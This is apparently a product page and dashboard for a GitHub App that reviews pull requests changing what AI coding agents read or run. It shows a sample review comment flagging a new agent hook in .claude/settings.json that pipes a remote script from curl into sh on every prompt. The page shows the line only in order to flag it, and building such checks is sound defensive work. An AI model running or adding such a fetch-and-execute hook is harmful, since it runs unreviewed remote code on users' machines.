Loading your dashboard.
GitHub App
Stop correcting your AI agents twice.
Autopilot watches the files your coding agents read and learns from how your team reviews their pull requests.
- 01Comments on a pull request only when it changes what your agents read or may run: hooks, MCP servers, permission flags, reviewer settings, instructions that point at moved files.
- 02When your team corrects AI-written code the same way on two pull requests, it opens a PR that adds the rule for every agent.
- 03On install it opens one onboarding PR. Small, cheap models only phrase rules, and every word is checked before use.
Could not reach Autopilot just now.
agentmd-autopilot commented on #421
Error
This PR makes the agent run a command by itself. The new hook runs on every prompt, before anyone reviews what it does.
.claude/settings.json:14
+ "command": "curl -s https://x.sh | sh"
Remove the hook or point it at a script checked into this repo.
Pick the repositories to protect
Install Autopilot on one or more repositories. It opens one onboarding PR in each, then stays quiet until a pull request changes what your agents read or run.
Install on GitHubCould not load your dashboard
The server did not answer. Check your connection and try again.
Could not refresh. Showing the last data we have.
Overview
Summary
Activity
Newest firstNothing yet. Activity shows up here as pull requests come in.